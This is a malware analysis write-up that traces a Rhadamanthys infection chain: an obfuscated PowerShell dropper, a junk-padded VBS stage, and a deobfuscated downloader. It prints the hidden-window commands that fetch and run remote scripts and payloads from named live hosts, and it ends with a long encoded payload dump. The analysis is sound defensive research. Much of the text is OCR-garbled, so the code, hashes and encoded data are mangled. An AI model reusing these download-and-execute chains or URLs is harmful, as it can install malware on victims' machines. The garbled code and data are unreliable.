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Sample:

fb6402d3ef1fcddbaf327668fa8d41b4

BackgroundPermalink

Rhadamanthys malware has been notably associated with the threat actor group known as Sandworm. Sandworm,
believed to have ties to Russian intelligence, It allows them to gain unauthorized access to computers, enabling
them to execute commands, steal data, and surveil victims through webcams and microphones. It spreads via

phishing emails and exploits software vulnerabilities.

Static Analysis - Stage 1Permalink

Database Entry

Intelligence €B) 10Cs YARA File information Comments @)
SHA256 hash: a437cf672b353e906d8eddfbeb9d0ef01f11fa1f554d888d4fae821fcd3d30b2
SHA3-384 hash: 28540bc836bealbe7ab0ad3280b6ce6d5bab53dfeEbadbfb377b328287039d0b9309283211472566172921606091377
SHA1 hash: 53ddfc1966c442e1b1a954aacd9927f359b43e65
MDS5 hash: fbe402d3ef1fcdd5af327668fa8d41b4
humanhash: minnesota-fourteen-winner-autumn
File name: gc.psi
Download: B download sample
Signature @
File size: 831 bytes
First seen: 2024-07-05 17:40:18 UTC
Last seen: Never

Figure 1: Malware Bazaar Entry

The first stage contained a relatively short PowerShell script that was somewhat obfuscated, as shown in Figure 2.
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BHa= 1fcd3d30b2.psT m|
1 powershell -win hidden Sg72pld=iex ($(' [Environment]::GetExihs'''.Replace('xih', 'nvironmentVariable (' 'public'') + ''\\p9ncZa-vb'))) ;$Elol=iex(5(
' [Environment] ::GetExihs'''.Replace('xih','nvironmentVariable (*'public'®) + ''\\yd2.vb'))) ;function getit([string]$fz, [string]Soulv){$Ef=iex ($(

' (Nh5fw-Objh5fct Systh5fm.Nh5ft.Wh5EbClih5Ent) - Downhohe (Soulv.Replace (' "'j5£'", " 'tps://'") -Replace(''r4j'", ''e''), $fz)').Replace('h5f', 'e').Replace(
"hoh', 'loadFil'));iex('szvbarzvb $fz'.Replace('zvb','t'))};$£z£=$ (Get-Location).tostring() + '\\';Remove-Item -Path ($£zf + $(Get-ChildItem -Include
*.1nk -Name));getit —fz ($£z£ + 'List of Required items and services.pdf') -oulv

"htj5fwww. kathbanrdjng. com/wh/List$200£%20rrdjquirrdjds20itrdjms%20ands20srdjrvicrdjs. pdf" ;getit ~fz $£lol -oulv
"htj5fwww.pinrdjapplrditrdjch.ardj/at/at.vbs' ;exit|

Figure 2: Obfuscated PowerShell

After cleaning up the code and deobfuscating it, we were left with clear code, as shown in Figures 3 and 4.

B 1 1fcd3d30b2 1\3|Engwxm|
1 powershell -win hidden $g72plé4: x($ (' [Environment]::GetExihs'"''.Replace('xih', 'nvironmentVariable (' "'public'') + '"\\p9nc2a.vb')));
2 $flol=iex ($ (' [Environment]::GetExihs'''.Replace('xih', 'nvironmentVariable (' 'public'') + ' '))) ;
3 function getit ([string]$fz, [string]$oulv)
4 {
5 $Ef=iex($ (' (Nn5fw-Objh5fct]Systhofm.NNSFt.Wh5EbClin5Ent) - Downh oulv.Replace(''§5£'", " 'tps://'") .Replace (' 'rd45'", "'e''), $fz)').Replace('h5f’,
'e') .Replace ('hoh', 'loadfilT))7 T szvbarzvb ofz .Replace ("zvh','t'))
6 }
7 $£z£=$ (Get-Location) .tostring() + '\\';Remove-Item —Path (§fzf + $(Get-ChildItem -Include *.lnk -Name));
8 getit -fz ($fzf + 'List of Required items and services.pdf') -oulv
"ht§5fwww. kuthbanriing.com/wh/Lis 0£%20rrdjquirrdjds20itrdjms20ands20srdjrvicrds. pdf';
9 getit -fz $flol -oulv 'htjSfwww.pinrdjapplrdjtrdjch.ardj/at/at.vbs’];
10 exit

Figure 3: After Cleaning

Hoa irca3as0b2pst Cl|Elnev 1 3 Enew? B Enew |Enens o|Blnews o|Btetve: o]
1 $ff=iex ($ (" (Nh5fw-Objh5fct Systh5fm.Nh5ft.Wh5fbClih5fnt) .DownhShe (Soulv.Replace('"j5f'", '"tps://"'") .Replace(''r4j'', ''e'"), S$fz)').
Replace ('h5f', 'e').Replace('h9h', 'loadFil'));iex('szvbarzvb $fz'.Replace('zvb','t'))
2
3
4
5) getit -fz ($fzf + 'List of Required items and services.pdf') -oulwv
'htj5fwww. kuthbanrdjng.com/wh/List%200f%20rrd4jquirrdjd%20itrdjms%20and%20srdjrvicrdjs.pdf';
6 getit -fz $flol -oulv 'htjS5fwww.pinrdjapplrdjtrdjch.ardj/at/at.vbs';
7
8
S
10 https://www.kuthbaneng.com/wh/List%200f%20required%$20items$20 20services.pdf
11 https://www.pineappletech.ae/at/at.vbs

Figure 4: After Deobfuscation

The first URL downloads a PDF and opens it, while the second URL downloads a VBS file and executes it in the
background. Browsing to this URL revealed a lengthy, obfuscated VBS script.

Second StagePermalink

€ C 2| pineappletech.ae/at/atvbs A4

Function Slagbnkens(autolithograph)
Slagbnkens = Chrid(autolithograph)

End Function

Strammes = @

Jomfruhasr= array(6545+0,69,77,59,72,73,62,59,66,66)

[set scapel - createobject ("uscript.shell®)]

Indestngte = Forrderiske

Tover = GHFFFFF&79
Supervitalness = "renskrivende? unsharable.”
Serdin = 3061

Denigrating = GHAFID
Serviceprisens? lilleakselso”

Barerne = &HFFFFBCEF
Stempelafgifternes = "Jimsedge, prosppointment1os”
LangFibrede = -15111

Beguin - 12359

Biobibliographic = "Jouliest spaltegruppensso”
Fagblades = -17833

Juxtaposed = 45142

Cozed = 50922

Fiberkosts

“Chipped. sponeurotic”
“peyote gisr”

Carcharodon - &éas

forudbes temmer = "Breastie sttimor,"
Delfiundersgelsernes = "Cauponate magtsproget;”
Enevrelser = "Karyotypics7, acquitter”

Terningeslagene = &H10D8
uncomputed = "Grandtotal! julemandens1642”
s

HFFFFC672

Enthusiasm = -23912
Hungo! pleadable”
Semantik = -54009

Figure 5: Long VBS Script
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After examining the code, I uncovered clues about the obfuscation technique employed. The method involved
filling the code with junk code, and in the middle of the script, a long string was constructed. Once I identified the

execution point, I disarmed it and echoed the final command to the console using CScript.

Ele Edit Search View Encoding Lenguage Settings Tools A

sJHERLal4h | o 5| % x 4

& 9d0efO1f11falf554dB
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte
Indestngte = Indestngte

jdfacs?

13d3002.ps1

:\Users\0x\Desktop\New folder>cscript test.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

n

"cls;write 'taplb Samlingsregeringen Brumalia Glutition240 progressions Statusordenes Nyvurder
es Copyrights Homonymets folkemunden Semipiously Cemeterial undersummernes Vinifreds7l Morainal
Windel Acceptilating Kompleksitet Decangular Sjuskefejlet Vinddreven Tegnebger Anlgsgartneriet
Underdimensioneringens taplb Samlingsregeringen Brumalia Glutition2u4@ progressions Statusorden
es Nyvurderes Copyrights Homonymets folkemunden Semipiously Cemeterial undersummernes Vinifreds
71 Morainal Windel Acceptilating Kompleksitet Decangular Sjuskefejlet Vinddreven Tegnebger Anlg
sgartneriet Underdimensioneringens';If (${host}.CurrentCulture) {$Spicehouse2u49++;}Function Vol
planes($Milliardren) {$rebait=$Milliardren.Length-$Spicehouse249;$Ggepulveres21U4="SUBSTR" ; $Ggepu
lveres214+='ing"' ;For( $Regnerable=5;$Regnerable -1t $rebait;$Regnerable+=6){$taplb+=$Milliardre
n.$Ggepulveres214.Invoke( $Regnerable, $Spicehouse2u9);}$taplb;}function Tilhre(§Miltsick){ &

($Parakelia) ($Miltsick);}$tailforemost=Volplanes 'AnnotMAtiono bilcz Skr iMonstl Teks
1Snyd,am.com/Mat r5Acerb.Pyrro@ Lsen Aflv, (Knas,W BlreiBlavenF.inlda gadoPersowDrives brov Leo
nNRoupiTGoust Hjhed1Situe®E erf. Shri®@Smagl; E.ga ,avneW Chy, iCircunBeded6,K appedBende;Misch Sus
sexRevan6Bjrn.4 Trio;Anven T.dssr rivivPu ga:ChugalMa.gi2smit.1l Cons. Comp@C,eni), onpo Ade,iGIb

RRRRRRR R R R R

Function Slagbnkens(autolithograph)

Slagbnkens = ChrW(autolithograph) idieE,lasc Recek P atoSu te/Poste2 Ting®salpilPendr®Thyge@RitralBl,ge@Overnl ,ovs TetraFKomm.iI
ndicrPaleneGe, kefsinguoTe.nix Kvit/Fa,eelDrupa2 KriglNonex., agbl@Nonun ';$Transformability=Volp
End Function lanes 'HindbUGre.dsSvedjeQu.ysrFodno-NonreAVelm gSo.lmeTjen,nFescetAc iv ';$progressions=Volpla

nes ' ProchU.klitWagont rivepFrerbs L,xi:Moonc/Forbr/UvrdiwUnisswUds.rwHerna.Analya M.nnlbilbrm
for Nonnasal=0 to ubound(Jomfruhaar) B strrAnbefwRive.aP rdodbrabr.Brugsc.overononfomSuper/Nona mH.shenTilde/ajospU IntedUnfr,lSkole
iSkaangtrevrgsoloueRea,prMethasSejrs.SolbehStyrehEtablkActin>non, ehDimentTilsetDim tp PrepsGeno

Unitarisk = Unitarisk & Slagbnkens (Jomfruhaar (Nonnasal)+10)
Next

Fjumrehovedernes = Unitarisk & " " & Slagbnkens(34) & Indestngte & Slagbnkens (34)

| WScript.Echo Fjumrehovedernes

Figure 6: CScript Output

After cleaning up the code, I discovered an important function that functions similarly to a regex. This ‘regex’
essentially counts every sixth character and concatenates them into a new string. In Figure 7 you can find that

specific function.

/in r T o ]S
If (${host}.CurrentCulture)

T $Spicehouse249++;
}

Function Volplanes (3Milliardren)

9 $rebait=$Milliardren.Length-$Spicehouse249;
10 $Ggepulveres214= R';$Ggepulveres21d+="ing ' ;
11 For( $Regnerable=5;$Regnerable -1t $rebait;$Regnerable+=¢)
& {
13 Staplb+=$Milliardren.$Ggepulveres214.Invoke( $Regnerable, $Spicehouse249) ;
14 }

$taplb;
i
function Tilhre ($Miltsick)

& ($Parakelia) ($Miltsick);

$tailforemost=Volplanes '
. , Dri oy 1

5 itr

g ilPen S
$Transformability=Volpla
$progressions=Volplanes

nes

O o

2 clinfil

Windows PowerShell n:16 Col:2 Pos:959 Windows (CRLF) UTF-8 INS.

Figure 7: Regex Function

Understanding that function led me to construct a regex in CyberChef, through which I successfully extracted the

next stage of the malware.
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Download CyberChef ¥

Operations Recipe ~omu
repla Regular expression ~0n
Find / Replace Built in reqexes

User defined
Bit shift right
ROT8000

Remove Diacritics

Case insensitive A and § match at newlines

SHAD
Streebog
[ ot matches all - [J Unicode support  [] Astral support
Substitute
Output format
Favourites * [ pisplay total List capture groups

Data format
Find / Replace ~Qmn
Encryption / Encoding

Find
EXTENDED (\N. \T.\X..) ~ Replace

Public Key
Arithmetic / Logic Global match  [] Case insensitive Multiline matching
Networking

[ pot matches all
Language
Utils
Date / Time
Extractors

Compression

Last build: 2 months ago

Options B About / Support @
+o3 =

uHerna. Analya H.nnlbilbrmé strrAnbefuRive.aP

Input

Prochy.klitkagont rivep L,xizHoonc/ funis suld
rdodbrabr.Brugsc .overononfonsuper/Nona mH.shenTilde/ajospy
Intedunfr, 15koleiSkaangtrevrgsoloueRea, prifethassejrs . SolbehStyrehEtablkActinonon, ehDimentTilsetDin tp
PrepsGenop:Alryd/Hanco/TolvmKvikrutaljew Sten.Nekroe antarCh ngpFlagn-Nonasr OndyoSttteyVandgaDefaclMikro-
Swallcvenezra.cliofilfou Lam nGigge.overgiPinlinlurksfHexaso C ri/ Gastm vrisn

£ska/Ph, 11UPendudDeciblEuropiBarnegFejlsgoverneanch, s, ccesoverf.unr, fh GuilhPhospkPrint

mesis =1 Tr rausytes & LF

Output [ I m

https :/ /was. alnrwad . con/mn/Udl iggers . hhk>https: //wwi .erp-royal-crown. info/mn/Udliggers. hhk

@ s Tr waweytes < e

Figure 8: Regex in CyberChef

22 L)
23 $tailforemost='Mozilla/5.0 (Windows NT 10.0;
24 $Transformabi ='User—Agent ';

Winé4; x64; rv:l121.0)

Gecko/20100101 Firefox/121.0 ';

25 Sprogres

ttps://www.almrwad.com/mn/Udliggers.hhk>https://www.erp-royal-crown.info/mn/Udliggers.hhk ';

26 SFalsificere="> 77
27 $Parakelia="iex '
28 $Simar='Copyright
29 $Supperne ='echo %appdata%\Visiteres.Hud && echo t ';
30 Tilhre ('Sglobal:Brnefdselsdag=(cmd /c $Supperne) ');
31 Tilhre ('$global:Glutition240=$progressions.split($Falsificere)
32 Tilhre ('[Net.ServicePointManager]::SecurityProtocol =

-

)i

37 | Tilhre ('$global:Givable=(Test-Path $Tegnebger)
38 | while (!$Givable)

i

[Net.SecurityProtocolType]::T1lsl2
33 | $peliciousness= ('Sglobal:Lnningsdages=New-Object System.Net.WebClient'):

34 Tilhre ($Deliciousness);
35 | Tilhre ('$Lnningsdages.Headers[$Transformability]=$tailforemost ');
36 $Benzinautomaten='$Lnningsdages.DownloadFile ($progressions, $Tegnebger)

RN

50 Tilhre
51 Tilhre
52 Tilhre

('$global:Cemeterial =

$Purplewood;

[System.Text.Encoding] : :ASCII.GetString (SAnseendes)
('$global:Purplewood=$Cemeterial.substring ($Existimation, $Basigenous)

39 {

40 | Tilhre ('$global:Mekaniserendes=$Strue ') ;

41 Tilhre $Benzinautomaten;

42 Tilhre ('Start-Sleep 4 ');

43 Tilhre ('Sglobal:Givable=(Test-Path $Tegnebger) ') ;

44 Tilhre ('$global:Brumalia=$global:Samlingsregeringen++%$$Glutition240.count ') ;
45 }

46 $Existimatio: 5

47 $Basigenous=> 0;

48 | Tilhre ('$global:Homonymets = Get—Content $Tegnebger ') ;

49 | Tilhre ('$global:Anseendes = [System.Convert]::FromBase64String($Homonymets) ') ;

RN
)i

Figure 9: After Decoidng the Whole code

As indicated in Figure 8 and 9, two URLSs have been identified containing the next stage of the malware.

Third StagePermalink

Browsing to those URLs revealed the next stage along with additional files containing other variants as shown in

Figure 10 and 11.
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€ c

almrwad.com/mn/Udliggers hhk Q ¥ a2 i

6WIKLUSCvby73j0IAHEBN3EBmANC I ATrAgmOCQGbUHhAN2 1XAZEXAZUBBUZ LETLrAVhwGwK FNTH ]I 2GH3EBNIEBN IEB+5 Cue26HErpBOSC Ty xAZEXAZY PAS EFMCpXAZ vrAVKTRQLEWK h+ SCRGIRAUSCZSIrAncegBEE QG b6WKF J YHSHK 11BX2 J6WIGAXEBMALEJATrAN7hcQGb1 cPrAh61 cQGbgcHEZZE ECQGbCQE
buO6OFBZPASHY6WIBK THy VP /FSUSCGUPXAZUBRAXUASXATE XAZ tXAZVPADO] CQGDCOGD1 1MIQCQGDCQGbIQNT6W] 2 INEBN@IXAZL XAZUB+VhGBQB1205CVp pXAZUIXCQUEWKAVIEBNAHT ANMAAOSC 8/ PA 71 11QKCOSCGEVPANKY1 3UKBHEBM+5CVCMI6+5C SnSXA 36uL6G1PrAI Z06WK 2MG PACQGDGH
3/VonréulhlesCE: EF(QGDE\-AK( 9jXrAgke; 1BFTCQGDEWT+Cmr/ CQGb6WKIHOPCBESCMUXXAZ SXOUSCVI 7rAgYSHCNPAGEEUL 0 T2 CQGbEWINSUHIAa86UKGAZ KCCnXy 61 IAL JEBMOZXAZ tXAZUAT ArTUHXdC
QGbCQGb 160K/ HEBM+5 CQi Ep! RuqLFCQHCQGbGuLKVOEGB120deHrAGXJouK rAgahcQGbifE: /13EBm3EBN/ VL 14p/duSLIFNR 10v2Ciq) gYafii/ATISRONTPaKF5to
QBBES/SmBTgGeCngyLZSSSBBJLHEOgUSllkGQNVhAkﬂFXilmHITstXkaCFPAsnmZGKD)xudZJeOHmautSmOs541zontzHlFuaAu/Vrv7odT0tRNqH3U«wRNlLoeN(zoKLEHTBZBDﬂdsthJjvokunF5u7NB7RghFhXLuBthLDON(szg]szH]RPZJhsznvl/ugeZaEPw]hsznuncoBGV0m3d+F(M\rxe)Eq12tG
3d+Fcuf CBozGK. NDOVLDeBezvS LGFzaVouY Ti Tn@xiuddkP+nQ4z3Xh: JQPNSXUJp/phic7BVEB?: DjOPC 1Fn08CnXg21b: pAncznDh3Te1vPC7/KRORT JO5r/ XGMAH+F ZzvRCBME14F
X0deFT514qX17821T0deG11E3KXEUKYCGYPDE cZnpstHB14QRHAHFdZnVoNgiCT+CaI2rIXAT! 1575HC78262PdeHZFRUbaBGehjqfUT! 12TVK; LoIHYCG6eD1CznplHux 147D/ UpT7w2gH Vi 36+RQGHTE 1 2612 9e+1QF 2215 3DPR2F 1esVBANTRS 1K1K/ Wx2
UAGrrbj10s/eE+Can3RbmCrXHs gY57pal zHTXXKHA3SQLE3Y x0CGHIhLJU+ 3CN3B30HCL FsLvi ZghVHWIgRKpra@2eD8RAT 13V1TTNB/X6y04y6CBZXIVUNEh3WT 57r FPRBIZSCTIICOHVK22340u521 0P SuQICr1gqnDI+gFPESNAUL xgmt 1 tyQxHY7/N1n/ 75-+4AHF 6nZh1PQG, cOOW
SNBKVY7UGDrUESZY 3y gUAKCRT 355 GMRh/C KnFZPg7dR/ehgal QR10UMTbzYLHVABAPGPCQX=TFYgS Icgt/QRaphlomuT1TENZ5OKSA1 byH1 j0I1uc1Qba3 Ty FNEFTOCNQNFXA3 TXDANIXIN3VLXT yufeol TUFTHLGT /THS 2601 1ZpLY
xDZ/Ldbn697+71thA\/zOeuBMKXXhXMSlszodeFcthXMS14V10deF<anh>(MSj(NwmgLm\lSr‘HBRFTRhr‘Czanmd5FNVE+H+SrjSG(etngDkd/r‘AZhEouutFARu5+0ﬂngK]ynhLXkXAbuhSOHAFV]nOEuyAlM]XGIXEpSMRaIMsgSwSu/HRIZHXhSqAxh/CVyZK)yFFgmk!gjDNPgiNFuAZoSquQRp](DgOVmuwZu
Dzl]nmumuynprwwwv;mnsu/sanvrwshmLzmmwNIvvwas1gvAgyekpt\meMjbmmzsw;axywvasfuu 1cBKD: 7fdP22V+2rBEPRXIM/ dD: wwJJEE]{dUnFO/BqupIdCDejjntﬂHhP@uS)yDsz/vukNap]ExTSuTEZchT\IS&FthVthUELAMBDMVDMFzO/CINd7D5L
RHOENCy3dTyyGkeent RL i prPnIqumqurwteZszn(ucHersﬁsazanexncvzoabolnz/zRumsuN/cuctgupekcwh mhHNOE: fLkS9PGSvRZJa(7XAquZFvLLPm(prvBHDaSthCZBG(ZSkd/SlspgKtMaﬂl
zyleLIC7]IOth7A(5)(4\-45\/1heﬁ/+Bta5538qenZlVfrr‘lewSkLIalek/fXFthmzaghKBFERSJASamMSDHtDkD}J/Eutzl3ztDZwvueHngL\rngBgVVZFT)rz(QNG(xtANPH(VVdllrth\wsSEH]/lBasamanAd]R)ktSRNEE+J70VLrXZ7JELSV(e+k\-Az 39 Nta8DKHVE/QTVL W
794rcisNsC OboHHASE/I85t: ppTu/gHIHOSF Ly 1 gDeS J6L6276H5D] LENjhj4pe18CPOStXOF /£q1d2C2TOHFMPFSIQpui 81XZPOXY RUTETWZZR //Qn //0hK1b MQCEX3AUPC 7q6167022UZ 00397 LKL OEHBaETX2 AUV HESATECO
£dnzT6VBLF1+tFshug4FeoeCOVxidSIUNTxp6F7RgfxpSPHD 15Ud6zjHOLOR2FI] 2gV714151631LdQ3VGnN« nXhX/I514V20deF cznVz5psyj8FdjxoD9aL7V/1eX7QPCURCOFBIXHS1 atFKdeFCniOy+CY1VKGD2pelTaeV/ X 40YKACDARHT 5+HISZUL sBHKUBLU
XPYNL520xN0fX2GDkv pHAGEULYLRV1ADOYk JugXPAKCGa6 /+/HT6+L1nQzmCiSLAEKSHXDQZOrQT Fe58pcpltuonUjuHTAIDQ] tuYKtETckenelovdoFikBDOhayBu g1/ 9hjVzI7ugcatREHNCeN/G/dO1KxdUrSLBaNaV ST/ LBK 15XuOANHSHFd2nklyS4UOTY IPhnjuVGRgr/Rm1bNPhiuh7SBEr+VTRCMZ6H1T
22p82T8G6PSDZw+1Dudox/ FavyhTXTOWLGHTX3+ATY/+1 1214/ 9xIZEf 16m IXNL /OANL 7LbOKEJrLNykTVQUG3@SSSMCFZI+75U+2 gRFNT2Ial1YralfGISQs4]7aCVZyLDNNFenYrb7LRITHRXQEPZE V33T mIROK-+K FViins Aoh gXVI317606G
R1OMYmEtPSe 9CC++21; 2nXPXIS14V 20deF C2nXhXIS 14V20d eF cX/OgZTv1 GXDRDIUK, oUs S gnik | AUgXGPFHDU7 VT LYNY,/V3QA420,/ +b 355 8DakTKoz 35RQVQS 1Rz SCSy UQTRA7e hbLUBN7dMNS ZXYASTAC 1Y) yGOGVZX iz PAeGEGIXKXE FuyV30db 1000316 +24CUH12
CngVHbE+DX]ZJg7DAR5Tub\/NN0JFNBOQ/BOhDRQ7ch+]GzNNuaBEAthL]KB(ZZXUHpJtk\l]U+5Lprgﬁgsz/JApraDHSMGBVVLlXEfwuvBOdSixXHquyFFQZX)JNXS(DtsQCOeyByrLZbJNEymtSlNE\r//]1PFUSEdNe(QJSBSTgSfQQSNnTABE/DwLpxPQQ+B7argt5/AZ\st)HIT\-AE/(V7qu\uXBOzTPst1F1pN
nS5myqo4udCFOGTECqBOVD/! DaTTjc 1U6Y6 I gxe7aEFTHeDK3K2mc 2607LC5gtqbuzhiPhs L+aeVgy Pn2T2, 4P Ra7XCpuS6L+2tqMbL2hN3T hXHFZAE LeuFMMnXhXI514Vz0deF cznXhXH514V20deF cznXhXHS 1bFXR
TFNCAOWKB+VOF £2187TZ4F+XN514VZ0deF C2nXhXN514Vz0deFcznXhiXS 14VXYFDKA/J IK1aBVL r FqueRAGDUMO CULXTOL1W7dOVZ9EHDR! FvPQRDdeVJVItunFaugfNvssmaqxxnuxlpl/remxaszvvqanEbupunnmgumcmeogzxap/M?ImznmxmsoLHEAchDszsze1m5cmsFTovar1v;19aatwmn
0T+C8CQ2xR0a18uzZF 3UBZ653) raK x6hCdWCbQGS qCFBEVD OdeF cznXhXM514Vz0deF 2 nXhXH514V20deF CzvgOnQZyFXSDF6+rhiga Pn1HRUGF Ngdhinfr/GZn/D8u147Y/DTOOP37VpHFy LFEXDUN3Y31g0nVZr8 s ZnXhXH5 1
VN(UerSK]DAnAwSDl5ugnHH(g)ﬂMOngQtz1r58u4M/R15FukhngGngERQaOmBIHFccK+)kSt5]mZadeF(anhXMSjaszdeF(anhXﬂSM\/zOdeF(zn\/m(dOrX\rACF6v+1FkAlﬁRezvaSIX/pS)/EaanTpsKLgQPqQ(ﬁeuzszBAx@GT/3r‘gth]A\/zodsF(znXhXHS]a\/zGdsF(znxhXMSiAVzOdXH/grBBHQZhL
aNxrshG/ /CFSF GNpAKNHT FIVABrKHSXC/NAAQYE 1 aaAqZNCVAHXE3V5G248DL 3hpPEyR 840VGUr1Rar3p: TCSBXgMhZL713BB\uU1p]qlryhevtZJUSSSEqbum/l:A\/zodeFcznxhXMSjAVZOdeF(anhXMSJ
AUzOdeHLEZ+LmDHJOO]5gJNT{NDIRnTOoAvLQN\/ANquaQLL\/IdxquSApS3SZhKr\waOPGXJNH1AKFnNedD)Er\Xdf/cHILWm/thGEVsvaRBQﬂIIuQZKZJRpthX]zPsnFmpZ(uKbdek+HoIntsllC ¢ /NtdeisTy y
Ehpsuuzavvs75HRRxs;qubRrmesnAacAu;uchuremﬂ+/FFzLusqazﬁ%maycuemakxdsIA3+FuNnquztxlx1fuzzmww3nﬂcksncaxwhswx/e?snnmzrﬂrAVK+Qosnyvrs7Lz7PVscau1eaEuaerIMqanﬁlnj\msmwsmxnﬁrna]amfpuc4w+smy7v++mxx£19Q/7gf51urwcAzaaniHMmen/sgN(
X14TSaNArNNS@7/MFWzFHOZ18pKx6gKBULDhS 3Tn 3VKXTmil g1n31FeoX 1K 1FHFHB1b16 3HLD/ pHpC7IHCGSWGE 1 £ JKqH1CGN: q 1vHPLS /PdYKqed! jdX63m57E1Qv/wAy JAHS+B14VEPQj1585FQGMuU1-+n/SAbDGT yBNBBY/ LyNFQLI+eZHN@Ba62/ TiRO1SOBEMHIr pXTPOGXF
9EZP3b9eTydc1ISyj IN/yaBEHCTIZqDPYSB1VZ/HDBAOSHT L1y 22T/ 247Vigpas IBQSXBDHGT3HFBaCa7 JABMHZEL CHOty cd/ nAh3hnSt1uhkjeL 2i 38YE Te4DNEUP kICOg JPbF pGNUAESBXHXseVTA41ELFDMT713VG+FC 2nXhXM514Vz 0deF cznXhXi514Vz0de FcznXhyNKi1cyph7/+XxXzu7u63 /YndnSYgab
NAXSNg7BANBnznXhXH514VzO0de FCznXhXH514VZ0deF cznXhXHT6Q+H3ICr] T303RAZVVKO 3KUR/K1LdgcOpsndXCT1+HUUA13 T 70V1HIBdS SUBG3Q uTAN 313 3VLHT Twia JuOSF gomdnd 278bKABS 265 t8T § /mK ZGCYekYid]y 1SFWUMIGNXg60L CpYzby J6p1d3x0J FUDYDSO11 108 2XhcU1Up1F 1TELBXIF PdeH OVC

D3730n 2KWGCVFU17h@+GEF PEVHCY PHUL ipzpal THD3XkHQL KUUYVEZQBIBIKGYYVVFXSPZLTCOBS gOPHZTAEE I TniianfUY62QTZ 7/ID8FCADL C3Thn5HB j9BFF1apF1dDIQSPEZdrGSHyYQ/n iyaHhSAHVDIM3/ NNPZOPSGC27 SXHMG0EU tNO7W18USEZ TVRAS T Tdz7UBC N
PRROX14VZOdeF cznXhXH514VZ0deF cznXhxis. punyzGsnIohca 2zrLvR/T55fgivtaseqq % Ty7XqG61R021VKAgh4dbE /YxIFHPBOLFL/@utsidacHfatnfcyy/M4RQCENoUKyI egball ‘AJd9eh11b5Q1zXeHL3tQ
STKj4QuF /BSrZULCBLY+19PQRaChpHL 1Vqah14VIDFFB c21 0]XCNuAZBHSCYOVQrPRY JG7Agk+ nYagGapaSe1 RXhO4un / 1hK TneiSH7F 102g7K3 tapzPka i 1XauD+bRL| 12324/ FyUZUTd/0G
InAakiAmkiob7 7HzdPHeCVPPOTV I Z LbDYUVWATBEEKKE ANUVWAXdFoZ INBe J8F5p9a7Z adkbS s1RAG/ YMIE24/ rRODCGYN7Rap+NvEfLZN/OFv+PILXudN52Z6CH2T 14vz0deF ZnXhXM7npL 2Z0L10S tV/ TbaKq3SC qZ¥FbUS+DNF 20deF

C2nXhX151V20deFC2 kXIS 14V20deF cRAUGGXEVHQKASA/ L0COp1Xs 141203 47VKGS25 ubSUNPhOZEmmt gt 1BxCLOPOI0C2tgtneIrkOVBH16x2NBZTuP +03 j+Det FLRXSSSarC /yt/qRONyLUCOBHSYVuu/0SnyDZ +cHQUK2AsrGCXNSBbs VAeEG TAkQy Ly +TKYS/UTS\X6d0BYK o/ gUNT SVIEKukYLKC /O
+vR2PoXﬁyQQwQUdeRkKnGUmgBethngleNh+dlldPT(81AA9F2/!TJFLKg+JV14+XloaRXy\/DXLUA((\1/zS\/khAq\!\MT(ZQlZs]NaPEAS]e)IZEyPhauquTSSUm/]FSKDHSHR(ENthET7N‘HH/msu(\/CivITEEW]N]YJ/H/kAdR!ann]RG\IbIt(nS]xBSk\//SbStxPx\lDuJQBV‘ZnRM\/e/vKE/ZgKVuAGJwF!\u
LdeznVq6Zh34Vy70QnhLHHNDAQR/ G CWOCPP1n Gu1rZ/ PHHXGLpromX3tDy 14yPUF+saLfLd+: 1Pu1HKYZGAaSSt 3C267 1KEAZKDGCaVICLLZI UhY SOV QST EDUQ2SPUIhSbEeb+ HUMCIOF CuXQS38514VZ0de FCZnKXS14V20deFCz IXhXIS14V2041 3ulase eFuy A/ +
+G5roKGWDFBI2LQXU+RCNI+ 2EaBHYKA10YORT SON I QHaR30! ](msSHBXviGH/S\/(pAkhBﬁWS/Zl/}DHVEJHKFKp78656671qmy20wdeEcd3LhC}HtOV(thngGEy3Tm2]DNrQBVZOLdBBQnFRO‘Q/PDVLJ Gl g
PdeFFSIdqDHZTOOKIQCHA062US /FUTHLks JuCRINAIABSGraqTL/D/DGaFikayuce/ TDGgpa+IVRNIvkStyelLue hXP514VZO0deF CZnXhXMS: qnopoF1M3: s1avz0der i ThXFug2t
1EDtbo4S5iRec FdUp 2LF6 2g00R4 V)NZGdLVISplquéHtFAdOF(uQNuBZ]M\/zEdPslzrth)(MS1A\JzOdchanhXMSl F kathes, 1 119711835V ZrskoBISZ 133VLHT 7wfa0n
Hsmsneufuupaawvmkmsaqukej3vmt11tLeAPzsz+e117r56y1xxrgg5m\nqrLAFszsgrv&hlcuPtoevpsugnzkswuczyjeongtMgsLxPhy]/prgtuanAiPh/nzhzawaevafxnaovamedsJAAqscmHchhufszQOqLcyoAve9PoVA1K1vv/wsquwenIwafugfk(upuxrthcvsLZpszwveftya
anmnsANmsmujnogrpwsbxnsuRwozeamernkthxJ/»\Er\uvzectlufv3u+Estbum g J4NbCLtOXZ c 0 PKwacYHEHKL LXMpaC/zhUKMERHETA] YqTqDFFg8AT 1hVVQad/ bEMIBDKENF 2kGL F27C22gXAZXNbLbPmIhQS TUS
HAZGCHHC2THS11Z3pal, 1PzisHpI6ao, JZtTSkLGH(AtumUPLZ(thll+5F@evjodeF(anhXMSMVzcdeF(anhXMSJA\/zOdeF(1chRbZHr‘ bIK1ktPnPa) HRTLONp1EHO1ZgI6DOCNYC38PKZI7GED
Dxb\/uF/mwMzHXh]VoNAFZOEUFIanhXMSjaVzOdeFcanhXMSjszOdeF(anhxﬂsia/USSVthXZﬂUchAERuF(znXhXMSJszadeFcanhXMSiAVzOdchanhlT/pSyZoejT g4avyjeLXimsovrT jOMPF3d88IROV1/ Qje3ThdNXCuqUghKhIpnQFVXUXCNCGDPTbY.
Md7t661CE tn+SK64pLHNATR/ Hb6-+GHhbEABBEKRF yGC Tt 7 akPeTACHS VS SNM/GTGZ JkVORh wwnmemsgecj 13/ P3PV §7EVXCRa8QVANREXaT@DF UBCG207C T E2F pdOngHe ST+ 9FQDTSML3/ 645 KOGk T byuqU7nd
